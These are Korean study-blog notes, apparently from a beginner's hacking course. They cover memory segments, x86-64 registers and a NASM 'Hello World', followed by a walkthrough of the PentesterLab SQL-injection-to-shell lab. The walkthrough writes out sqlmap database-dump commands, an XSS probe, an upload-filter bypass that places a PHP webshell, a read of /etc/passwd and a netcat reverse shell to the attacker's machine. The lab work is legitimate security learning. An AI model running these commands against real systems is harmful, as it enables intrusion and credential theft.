메모리 구조 이해하기

 

 2^32 -1 즉 32비트로 보겠다

 

메모리에는 Stack Heap BSS(uninitialized) Data(initialized) Text(Code) 로 이루어져 있다

 

Stack 스택은 먼저 들어간 것은 나중에 나온다

 

우리가 함수를 호출할 때마다 스택에 정보가 쌓인다

 

스택은 기본적으로 함수의 대한 정보들을 포함하고 있고 함수의 지역변수들까지도 포함된다 

 

예를 들어

 

int sum(a,b)
{
	return a+b;
}

이 때 a와 b는 sum 함수 내에서만 사용이 가능한 지역변수라고 할 수 있다

 

그래서 이 함수를 호출 할 때마다 메모리 상에 있는 스택에 쌓이게 되는 것

 

이곳에서 가장 취약점이 노출이 되고 BOF공격도 실행할 수 있는 영역

 

Heap은 동적으로 할당되는 변수 그런 변수들의 데이터들이 위치하는 공간

 

흔히 C언어에서 malloc() 과 같이 동적 할당을 할 수 있는데 할당된 모든 변수들은 다 Heap 공간에 정의가 된다

 

BSS는 프로그램에서 사용될 변수들이 실제 위치하는 영역 이 변수들은 아직 초기화가 이루어지지 않은 변수들을 의미

 

Data는 초기화가 이루어진 변수

 

Text는 실제로 작성한 소스코드가 들어가는 공간

 

setction .data  

        msg db "Hello World" // Data영역

section .text 

        global_start

 

_start:

        mov rax, 1

        mov rdi, 1

        mov rsi, msg

        mov rdx, 12

        syscall

        mov rax, 60

        mov rdi, 0

        syscall

 

 

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.20
공부(5)  (0) 2021.09.20
공부(4)  (0) 2021.09.19
공부(2)  (0) 2021.09.19
공부(1)  (0) 2021.09.19

지난번엔 데이터영역과 텍스트영역을 나누어

 

데이터영역에는 Hello World 라는 문자열을 담고

 

실제로 코드를 실행시키는 텍스트영역에는 msg 변수를 사용했다

 

과거 32비트 운영체제에는 e로 시작하는 레지스터들을 사용했었음

 

64비트는 r로 시작함

 

rax는 가장 중요한 레지스터 중 하나이고 system call의 실질적인 번호를 가리키는 레지스터이자 함수가 실행된 뒤에 결과가 담기는 곳

 

rbx는 베이스레지스터라고 하고 메모리 주소를 지정할 때 사용 

 

rcx는 카운터레지스터로써 주로 반복문에 많이 사용됨

 

rdx는 데이터레지스터로써 연산을 수행할 때 rax와 함께 많이 사용이 됨

 

rax~rdx 데이터 레지스터라고 한다

 

rsi rdi rbp rsp 는 포인터 레지스터라고 한다 (특정한 주소를 가리키는 레지스터)

 

rsi는 메모리를 이동하거나 비교할 때 그 출발지 주소를 가리킨다

 

rdi는 메모리를 이동하거나 비교할 때 그 목적지 주소를 가리킨다

 

rbp는 함수의 파라미터나 변수의 주소를 가리킬 때 사용

 

rsp 또한 중요한데 스택에서 가장 위의 있는 주소 가리키는 레지스터

 

r8~r15 함수의 매개변수로써 자주 사용이 된다

 

 

 

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.20
공부(5)  (0) 2021.09.20
공부(4)  (0) 2021.09.19
공부(3)  (0) 2021.09.19
공부(1)  (0) 2021.09.19

어셈블리어로 Hello World 출력

 

터미널을 키고 nano helloworld.s 를 쳐준다

 

nano는 에디터이다

 

.s는 어셈블러 소스코드라는걸 알려주는 확장자

 

setction .data  (이때 data는 흔히 문자열 같은 데이터를 보관하는 공간)

        msg db "Hello World"

section .text  (section은 위에서부터 차례대로 읽어오는 코드)

        global_start

 

_start: (함수이름 정의)

        mov rax, 1  (mov는 어떠한 레지스터 안에 특정한 값을 집어넣는 명령어 rax에 1을 넣겠다는 뜻)

        mov rdi, 1

        mov rsi, msg

        mov rdx, 12

        syscall

        mov rax, 60

        mov rdi, 0

        syscall

 

이렇게 작성한 소스코드는 cat 명령어를 통해 확인할 수 있다

 

cat helloworld.s

 

이제 작성한 어셈블리어 코드를 실제 파일로 변경하려면

 

nasm -f elf64 -o helloworld.o helloworld.s

 

ld -o helloworld helloworld.o

 

ls 하면 helloworld 라고 실행할 수 있는 파일이 생겨난 것을 볼 수 있다

 

./helloworld 하면 Hello World 라고 정상적으로 출력이 된다

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.20
공부(5)  (0) 2021.09.20
공부(4)  (0) 2021.09.19
공부(3)  (0) 2021.09.19
공부(2)  (0) 2021.09.19

실습용 웹사이트 구성을 위해 VirtualBox에 추가해주겠다

 

https://pentesterlab.com/

 

PentesterLab: Learn Web Penetration Testing: The Right Way

“PentesterLab is an awesome resource to get hands-on, especially for newbies in web penetration testing or pentesting in general. It gives insights to possible web security flaws, their behavior and approaches that can be taken to exploit them. More of,

pentesterlab.com

홈페이지로 가서 exercises 탭을 눌러준 뒤

From SQL Injection to Shell을 다운받아준다

 

다운받은 iso 파일을 virtualbox에 추가해준다

 

그 후 콘솔에 ip addr 쳐서 ip주소를 알아낸다 192.168. 으로 시작하는 것임

 

칼리리눅스로 돌아와서 버프스위트를 킨 다음 그 아이피주소로 접속하면 접속이 된다

 

웹해킹을 할 때에는 여기저기 둘러보면서 정보 수집하는 것

 

버프스위트의 Target 메뉴를 보면 방문했던 페이지들이 나옴

 

위 메뉴 누를 때마다 주소창의 id 파라미터값만 변하게 된다

 

admin 메뉴를 눌렀을 때 id, password 입력창이 나오고

 

이곳을 통해 관리자페이지로 접근해야한다

 

자 SQL Injection 공격이 먼저 먹히는지 실험해보자

 

나의 경우는 할당받은 아이피가 192.168.56.102 이다

 

192.168.56.102/cat.php?id=' 이렇게 입력해주면

 

바로 오류창이 뜬다 이러면 거의 sql공격에 취약하다고 볼 수 있다

 

sqlmap을 키고

 

sqlmap -u "192.168.56.102/cat.php?id=1"

 

이 사이트는 dvwa와 달리 로그인하지 않고도 test url에 접근할 수 있기 때문에 쿠키옵션 설정할 필요가 없다

 

자 실행해주면

 

이 사이트는 MySQL를 사용하는 것 같다고 하고

 

SQL Injection 공격과 XSS공격이 먹힐 것 같다고 한다

 

한번 주소창에 

 

192.168.56.102/cat.php?id=<script>alert(1)</script> 라고 쳐보면 1 이라고 출력되는 것을 볼 수 있다

 

최종적으로 파라미터 id가 취약하다고 한다

 

sqlmap -u "192.168.56.102/cat.php?id=1" --current-db 로 db 이름을 알아내자

 

현재 db이름은 photoblog 라고 알려주고 있다

 

sqlmap -u "192.168.56.102/cat.php?id=1" -D photoblog --dump 를 해주자

 

이제 보면 users 테이블을 찾아냈고

 

id가 admin 이고 패스워드인 해시값과 크랙된 값 또한 나와있다

 

이제 이 값을 admin탭에 가서 로그인 해주면 로그인이 성공적으로 된다

 

이제 관리자 메뉴에서 New picture 탭을 가면 딱 봐도 파일업로드 공격하고싶게 생긴 페이지가 나온다

 

제목은 webshell에 예전에 썼던 webshell.php 파일을 가져오게 되면 no php 라고 뜬다

 

파일 확장자를 확인하는 것은 파일이름을 변경하는 것만으로도 확인할 수 있다

 

cp webshell.php webshell.pHP 이런식으로 변경해보겠다

 

이렇게 하니 업로드에 성공하였다

 

그리고 페이지소스를 보니

 

이미지소스로 불러왔던 php를 불러오고있다 여기서 경로가 나오는데 이 경로로 접속해보겠다

 

192.168.56.102/admin/uploads/webshell.pHP

 

접속하면 웹쉘에 접근할 수 있게 되었다

 

cat /etc/passwd 를 해주면 passwd 정보를 출력하게 된다

 

웹쉘에서 리버스쉘이라고 하는 기법을 사용할 것인데 터미널을 이용해서 명령을 내릴 수 있도록 해보겠다

 

nc는 netcat이라고 하는데 모의해킹에서 상당히 자주 쓰이는 프로그램

 

nc -lvnp 4000 을 치고 엔터해주자

 

l은 listening mod로 서버로 동작하게 해주는 옵션

 

v는 각종 로그들을 출력

 

n은 ip주소를 숫자로 사용할 때 쓰는 옵션

 

p는 포트의 넘버를 적어주는 것

 

자 웹쉘로 돌아가서 nc 192.168.56.101 4000 -e /bin/sh

 

이 때 아이피주소는 칼리리눅스 아이피주소이고 -e라는 옵션으로 쉘을 열어줄 수 있다

 

이렇게 하면 커넥션이 생성된다

 

id라는 명령어를 실행해보면 어떤 사용자 아이디로 웹애플리케이션이 실행되는지 알 수 있다

 

이때는 www data라는 일반사용자 권한으로 실행되고 있는데 시스템의 다른 취약점을 찾아서 권한상승을 통해 root 권한을 얻어낼 수 있다

 

uname -a 하면 시스템의 커널 버전을 알 수 있다

 

pwd로 현재위치를 파악 하고 ls -al로 어떤 파일들이 있는지 알 수 있다

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.17
공부(9)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16

+ Recent posts